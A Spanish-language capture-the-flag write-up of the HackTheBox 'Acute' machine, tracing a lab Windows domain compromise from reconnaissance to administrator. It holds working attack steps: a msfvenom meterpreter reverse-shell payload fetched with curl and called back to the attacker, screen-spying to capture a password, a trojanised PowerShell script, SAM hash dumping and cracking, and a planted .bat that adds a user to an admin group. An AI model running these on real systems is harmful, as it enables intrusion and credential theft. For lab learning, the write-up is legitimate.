xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Acute



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo un puerto tcp abierto que es el 443 que corre un servicio https

❯ nmap 10.10.11.145
Nmap scan report for 10.10.11.145  
PORT    STATE SERVICE
443/tcp open  https

Al conectarnos con openssl al puerto 443 para inspeccionar el certificado en el CN nos muestra el dominio para el que esta destinado que es atsserver.acute.local

❯ openssl s_client -connect 10.10.11.145:443 | head
Can't use SSL_get_servername
depth=0 CN = atsserver.acute.local
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = atsserver.acute.local
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = atsserver.acute.local
verify return:1
CONNECTED(00000003)
---
Certificate chain
 0 s:CN = atsserver.acute.local
   i:DC = local, DC = acute, CN = acute-ATSSERVER-CA
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jan  6 06:34:58 2022 GMT; NotAfter: Jan  4 06:34:58 2030 GMT  
---

Como probablemente nos resuelva a una web diferente cuando entremos desde el dominio existente lo agregaremos a la ultima linea del archivo /etc/hosts

❯ echo "10.10.11.145 atsserver.acute.local" | sudo tee -a /etc/hosts  

La web principal parece ser una página interna algo simple de la empresa en cuestion

Si vamos a About Us encontramos 2 cosas interesantes, la primera es que podemos descargar un archivo docx y la segunda es que podemos ver algunos usuarios

Con la lista de usuarios podemos crear una lista de posibles usuarios a nivel de sistema usando el formato NSurname que es utilizado en entornos Windows

AWallace
CHall
EDavies
IMonks
JMorgan
LHopkins

Ademas de eso podemos descargar el archivo docx y abrirlo usando libreoffice


Shell - edavies


En el archivo de office se invita a los usuarios a cambiar la contraseña que esta por defecto lo antes posible, la contraseña por defecto nos dice que es Password1!

Tambien la ruta /Acute_Staff_Access en la web que si lo abrimos en la web vemos que es un Windows PowerShell Web Access pero necesitamos credenciales

Necesitamos 3 datos para acceder aqui, un usuario, su contraseña y el nombre de un equipo del dominio donde vamos a obtener una powershell interactiva

Mirando los metadatos del docx usando exiftool encontramos que se creo en el equipo Acute-PC01, ahora tenemos el nombre de un equipo que necesitamos

❯ exiftool New_Starter_CheckList_v7.docx
ExifTool Version Number         : 12.64
File Name                       : New_Starter_CheckList_v7.docx
Directory                       : .
File Size                       : 35 kB
File Modification Date/Time     : 2023:08:22 20:28:18-06:00
File Access Date/Time           : 2023:08:22 20:28:29-06:00
File Inode Change Date/Time     : 2023:08:22 20:28:24-06:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document  
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x079b7eb2
Zip Compressed Size             : 428
Zip Uncompressed Size           : 2527
Zip File Name                   : [Content_Types].xml
Creator                         : FCastle
Description                     : Created on Acute-PC01
Last Modified By                : Daniel
Revision Number                 : 8
Last Printed                    : 2021:01:04 15:54:00Z
Create Date                     : 2021:12:08 14:21:00Z
Modify Date                     : 2021:12:22 00:39:00Z
Template                        : Normal.dotm
Total Edit Time                 : 2.6 hours
Pages                           : 3
Words                           : 886
Characters                      : 5055
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 42
Paragraphs                      : 11
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 : 
Company                         : University of Marvel
Links Up To Date                : No
Characters With Spaces          : 5930
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0000

La contraseña por defecto funciona para el usuario EDavies en el equipo Acute-PC01

Username: EDavies
Password: Password1!
Computer: Acute-PC01

Al ingresar estas credenciales son validas por lo que ganamos acceso a una powershell interactiva como el usuario edavies en el equipo Acute-PC01


Shell - imonks


Si intentamos enumerar el sistema usando winpeas al intentar ejecutarlo nos dice que se ha bloqueado el archivo porque es posible que sea un virus malicioso

PS C:\Users\edavies\Documents> curl 10.10.14.10/winpeas.exe -o winpeas.exe
PS C:\Users\edavies\Documents> .\winpeas.exe
Program 'winpeas.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software.  
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException 
    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\Users\edavies\Documents>

A través de los registros podemos enumerar rutas donde el antivirus no nos afecta, una interesante es C:\Utils ya que podemos escribir en ella sin que nos afecte

PS C:\Users\edavies\Documents> reg query 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'  
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    C:\Utils    REG_DWORD    0x0
    C:\Windows\System32    REG_DWORD    0x0
 
PS C:\Users\edavies\Documents>

Al ejecutar winpeas en esta ruta se ejecuta sin problemas del antivirus, algo interesante que nos enumera es que hay una sesion RDP activa en el equipo

PS C:\Utils> curl 10.10.14.10/winpeas.exe -o winpeas.exe
PS C:\Utils> .\winpeas.exe

╔══════════╣ RDP Sessions
    SessID    pSessionName   pUserName      pDomainName              State     SourceIP  
    1         Console        edavies        ACUTE                    Active

Podemos pensar en ver la pantalla o detectar pulsaciones pero para hacerlo mas sencillo iniciamos creando un exe que nos envie una sesion de meterpreter

❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Ahora definimos un listener con metasploit usando interfaz tun0 y el puerto 443

❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp  
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 443
lport => 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.10:443

Finalmente descargamos el archivo shell.exe y lo ejecutamos, el resultado es que recibimos una sesion de meterpreter como el usuario edavies con mas funciones

PS C:\Utils> curl 10.10.14.10/shell.exe -o shell.exe  
PS C:\Utils> .\shell.exe

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.10:443 
[*] Sending stage (200774 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.10:443 -> 10.10.11.145:49832)  

(Meterpreter 1)(C:\Utils) > getuid
Server username: ACUTE\edavies
(Meterpreter 1)(C:\Utils) >

Ya en la sesión de meterpreter como edavies tenemos la función screenshare que nos permite ver lo que pasa en la pantalla de la sesión rdp activa en tiempo real

(Meterpreter 1)(C:\Utils) > screenshare
[*] Preparing player...
[*] Opening player at: /home/kali/VsMvfHpX.html  
[*] Streaming...

Después de unos segundos el usuario abre una powershell y define una credencial como imonks, despues intenta abrir una sesion con una configuracion especial

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)  
Enter-PSSession -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred  

En los comandos intenta acceder con una configuración llamada dc_manage, en el docx podemos ver que es una configuracion que limita nuestros comandos

Ya con la credencial del usuario imonks podemos ejecutar comandos en el equipo ATSSERVER usando la configuracion dc_manage que veiamos en los comandos

PS C:\Utils> $SecPassword = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
PS C:\Utils> $Cred = New-Object System.Management.Automation.PSCredential("Acute\IMonks", $SecPassword)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami }
acute\imonks
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\user.txt }  
fc3**************************b2e
PS C:\Utils>


Shell - jmorgan


Además de la flag de user en el escritorio de imonks encontramos un script en powershell el cual define una credencial para el usuario jmorgan

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ls ..\Desktop }
 
     Directory: C:\Users\imonks\Desktop
 
 Mode                 LastWriteTime         Length Name                               PSComputerName                    
----                 -------------         ------ ----                               --------------                    
-ar---         23/8/2023     03:05             34 user.txt                           ATSSERVER                         
-a----         11/1/2022     18:04            602 wm.ps1                             ATSSERVER                         
 
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\wm.ps1 }
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'  
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>

Sin embargo al intentar definirla nos devuelve un error, pero probablemente es debido al contexto de powershell con informacion a la que no podemos acceder

PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'  
PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString
ConvertTo-SecureString : Key not valid for use in specified state.
 
At line:1 char:27
+ $passwd = $securepasswd | ConvertTo-SecureString
+                           ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [ConvertTo-SecureString], CryptographicException
    + FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.PowerShell.Commands.Conv 
   ertToSecureStringCommand
PS C:\Utils>

Lo que podemos hacer el modificar el comando que ejecuta en Acute-PC01 por el archivo shell.exe que subimos antes, para en caso de ejecutarlo nos envie una shell

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ((type "..\Desktop\wm.ps1" -Raw) -Replace "Get-Volume","cmd /c C:\Utils\shell.exe") | Set-Content -Path ..\Desktop\wm.ps1 }
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type ..\Desktop\wm.ps1 }
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'  
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {cmd /c C:\Utils\shell.exe} -ComputerName Acute-PC01 -Credential $creds
PS C:\Utils>

Finalmente ejecutamos el script de powershell y el ejecutar el shell.exe nos envia una sesión de meterpreter pero como el usuario jmorgan que es admin local

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { C:\Users\imonks\Desktop\wm.ps1 }

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 10.10.14.10:443 
[*] Sending stage (200774 bytes) to 10.10.11.145
[*] Meterpreter session 2 opened (10.10.14.10:443 -> 10.10.11.145:49856)  

(Meterpreter 2)(C:\Users\jmorgan\Documents) > getuid
Server username: ACUTE\jmorgan
(Meterpreter 2)(C:\Users\jmorgan\Documents) >


Shell - awallace


Al ser jmorgan un administrador local tiene privilegios locales sobre el equipo, por lo que podemos dumpear la sam usando la funcion hashdump de meterpreter

(Meterpreter 2)(C:\Users\jmorgan\Documents) > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::  
(Meterpreter 2)(C:\Users\jmorgan\Documents) >

Intentando crackear los hashes NT de los usuarios aplicando fuerza bruta con john conseguimos ver la contraseña del usuario Administrator en texto plano

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes --format=NT  
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (NT [MD4 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password@123     (Administrator)
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

Despues de probar multiples credenciales con los usuarios logramos ejecutar comandos como el usuario awallace que reutiliza esta contraseña para el dominio

PS C:\Utils> $SecPassword = ConvertTo-SecureString "Password@123" -AsPlaintext -Force
PS C:\Utils> $Cred = New-Object System.Management.Automation.PSCredential("Acute\AWallace", $SecPassword)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami }  
acute\awallace
PS C:\Utils>


Shell - Administrator


Ya como el usuario awallace obtnemos acceso a un script llamado keepmeon.bat en C:\Program Files, este dice que se ejecuta cada 5 minutos por Lois, el script es simple, ejecuta todos los archivos con extensión .bat en el directorio actual

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { ls "C:\Program Files\keepmeon" }
 
    Directory: C:\Program Files\keepmeon
 
Mode                 LastWriteTime         Length Name                               PSComputerName                    
----                 -------------         ------ ----                               --------------                    
-a----        21/12/2021     14:57            128 keepmeon.bat                       ATSSERVER                         

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type "C:\Program Files\keepmeon\keepmeon.bat" }  
REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)
PS C:\Utils>

En el archivo docx nos dice que el usuario Lois probablemente lhopkins puede agregar al grupo site admin a cualquier usuario, esto sera temporalmente

El grupo Site_Admin existe en el dominio, pero actualmente no tiene usuarios en el

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group /domain }
 
Group Accounts for \\
 
-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Managers
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Site_Admin
The command completed with one or more errors.

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group Site_Admin /domain }  

Group name     Site_Admin
Comment        Only in the event of emergencies is this to be populated. This has access to Domain Admin group
 
Members
 
-------------------------------------------------------------------------------
The command completed successfully.
 
PS C:\Utils>

La idea es simple, creamos un .bat que en caso de ejecutarse agregue a awallace al grupo site_admin, de resto es esperar 5 minutos a que se ejecute el script

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { Set-Content -Path "C:\Program Files\keepmeon\pwned.bat" -Value "net group Site_Admin awallace /add /domain" }  
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type "C:\Program Files\keepmeon\pwned.bat" }
net group Site_Admin awallace /add /domain
PS C:\Utils>

Pasados los 5 minutos el usuario awallace pertenecera al grupo Site_Admin y al revisar los privilegios el usuario tiene maximos privilegios sobre el equipo

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { net group Site_Admin /domain }  

Group name     Site_Admin
Comment        Only in the event of emergencies is this to be populated. This has access to Domain Admin group
 
Members
 
-------------------------------------------------------------------------------
awallace                 
The command completed successfully.
 
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { whoami /priv }
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

PS C:\Utils>

Ya con privilegios maximos solo nos queda leer la flag del usuario Administrator

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $Cred -Command { type C:\Users\Administrator\Desktop\root.txt }  
802**************************880
PS C:\Utils>